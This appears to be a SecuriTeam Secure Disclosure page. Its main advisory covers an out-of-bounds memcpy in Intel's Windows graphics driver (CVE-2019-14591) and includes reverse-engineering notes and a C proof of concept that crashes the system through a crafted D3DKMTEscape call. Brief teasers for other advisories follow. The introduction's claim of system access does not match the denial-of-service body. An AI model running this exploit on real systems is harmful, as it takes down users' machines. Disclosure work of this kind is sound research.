SSD Advisory – Intel Windows Graphics Driver Out of Bounds Read Denial of Service

Introduction
Since 2014, Intel is dominating the PC market as the leading graphics chip vendor worldwide with ~70% market share. With this overwhelming amount of units, any vulnerabilities found are bound to make an impact. Read below on how our team gained system access using an Intel’s graphics driver privilege escalation vulnerability.
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Vulnerabilities Summary
The igdkmd64 module in the Intel Graphics Driver DCH on Windows allows unprivileged users to cause Denial of Service (crash) via a crafted D3DKMTEscape request.
CVE
CVE-2019-14591
Credit
SSD Secure Disclosure / Ori Nimron
Affected Systems
Tested on Intel Graphics Driver DCH:
25.20.100.6323.
25.20.100.6577.
25.20.100.6618 (latest at the time of writing this report).
Testing environment:
OS Name Microsoft Windows 10 Pro.
Version 10.0.17134 Build 17134.
OS Manufacturer Microsoft Corporation.
System Model System Product Name.
System Type x64-based PC.
Processor Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz, 3401 Mhz, 4 Core(s), 8 Logical Processor(s).
Vendor Response
Intel fixed the issue in version 26.20.100.7209 of the Intel(R) Graphics Driver. For more information see 2019.2 IPU.
Vulnerability Details
The driver’s callback function DxgkDdiEscape contains an Out-Of-Bound Read that can be triggered by unprivileged users who can trigger the vulnerability by crafting a malicious request to the D3DKMTEscape function.
In DxgkDdiEscape, there is a global variable (which I named as “escape_jmp_table”) which is an array of pointers to functions. The function will choose which function to call based on the value of the third parameter of the privateDriverData value that is controlled by the local user.
The structure of privateDriverData looks something like this:

typedef struct {
	UINT unknown1;
	UINT unknown2;
	UINT escape_jmp_table_index;
	UINT switchcase_index;
	char buffer[100];
} privateDriverData;

The DxgkDdiEscape will call to sub_14004FCE0 (which I will name it as ESCAPE_CONTINUE_TO_TABLE). The ESCAPE_CONTINUE_TO_TABLE will load the “escape_jmp_table” and will call the function to which escape_jmp_table[pPrivateDriverData.escape_jmp_table_index] points to.

The vulnerability discovered lies in the function being called by the pointer found by the value of the second index of the escape_jmp_table. This function (sub_140085E70) does a switch case on the fourth parameter of the privateDriverData and decides to which function to call by the value given.
This image shows the various switch case handling this function (sub_140085E70) supports:

In case that the value of the fourth parameter in the structure is 205, the function the sub_140092E80 will be called:

This function allocates a buffer on the stack and calls sub_1400AD9F0 with this buffer, I will name this buffer as local_buf:

The subsequent function sub_1400AD9F0 does a memcpy(pPrivateDriverData.buffer + 0xb, 0x200, localbuf + 0xb, 0x200).
The memcpy is called with a fixed size, no checks on the pPrivateDriverData buffer size, which means that if pPrivateDriverData.buffer length is smaller than 0x200 + 0xb, an overflow will be triggered. This overflow can lead to Escalation of Privileges (by utilizing a null pointer dereference exploitation method) or local Denial of Service.

Proof of Concept
The following PoC calls the D3DKMTEscape function with previously mentioned parameters that will trigger the vulnerable function and the system will crush due to security cookie check failure. The full code is in the Escape directory which contains a visual studio solution:

#define BUF_SIZE 100
static const char* intel = "Intel";
typedef struct {
	UINT unknown1;
	UINT unknown2;
	UINT escape_jmp_table_index;
	UINT switchcase_index;
	char buffer[BUF_SIZE];
} PrivateDriverData;
int main()
{
	int result = 0;
	DRIVER_INFO driverInfo = { 0 };
	D3DKMT_ESCAPE escapeObj = { 0 };
	PrivateDriverData data = { 0 };
	int status = initDriver(&driverInfo, intel);
	if (!NT_SUCCESS(status)) {
		printf("Could not initialize connection to driver");
		return -1;
	}
	printf("[+] Initialized driver\n");
	escapeObj.Type = D3DKMT_ESCAPE_DRIVERPRIVATE;
	escapeObj.hAdapter = driverInfo.hAdapter;
	escapeObj.hDevice = (D3DKMT_HANDLE)NULL;
	data.unknown1 = 'AAAA';
	data.unknown2 = 'BBBB';
	data.escape_jmp_table_index = 1;
	data.switchcase_index = 205; // vulnerable case
	memset(data.buffer, 'A', BUF_SIZE);
	escapeObj.pPrivateDriverData = (void*)&data;
	escapeObj.PrivateDriverDataSize = sizeof(data);
	status = D3DKMTEscape(&escapeObj); // Will not return, it will crash the system.
	if (!NT_SUCCESS(status)) {
		printf("[-] D3DKMTEscape failed (%x)", status);
	}
	getchar();
	return 0;
}

Result in WinDbg:


We can see in the above screenshot that a buffer overflow occurred, and the system crashes.

SSD Advisory – Oracle Java and Apache Xerces PDF/Docx Server Side DoS

Vulnerabilities Summary
The following advisory describes two (2) vulnerabilities found in Oracle Java JDK/JRE (1.8.0.131 and previous versions) packages and Apache Xerces (2.11.0)
The vulnerabilities are:

  • Oracle JDK/JRE Concurrency-Related Denial of Service
  • java.net.URLConnection (with no setConnectTimeout) Concurrency-Related Denial of Service

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
Update 1: Oracle has released patches to address this vulnerability and assigned CVE-2017-10355
Oracle acknowledged receiving the report, and has assigned it a tracking number: S0876966. We have no further information on patch availability or a workaround.
(more…)

SSD Advisory – HP iLO Format String

SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
HP Proliant Servers provide an embedded operating system running on a separate CPU called iLO (Integrated Lights Out). It provides various networking and management features for the server.
Vulnerability Details
HP iLO runs an SSH server by default, and users who log in are dropped into a special isolated type of shell. There is a format string vulnerability triggered by the “show” command which allows a low-level user account to cause a denial of service on the service or potentially execute arbitrary code.
(more…)

SSD Advisory – Comtrol RTS Configuration Modification and Memory Corruption

SecuriTeam Secure Disclosure
SecuriTeam Secure Disclosure (SSD) provides the support you need to turn your experience uncovering security vulnerabilities into a highly paid career. SSD was designed by researchers for researchers and will give you the fast response and great support you need to make top dollar for your discoveries.
Introduction
The DeviceMaster RTS family of serial device servers enables browser-based remote port/device monitoring and configuration and provides an application software platform for local processing. The DeviceMaster RTS product is a network-attached solid-state embedded device server network serial port that delivers exceptional price, performance and reliability.
Vulnerability Details
The Comtrol DeviceMaster RTS DB9M 2-Port 1E fails to protect several key resources related to configuration and operations by default. Combining that failure with a memory corruption vulnerability, at least exploitable to cause a device denial-of-service, a user can remotely modify the configuration of the device and force the operator to reboot the device in order to resume normal operations, forcing the arbitrary changes to take effect.
(more…)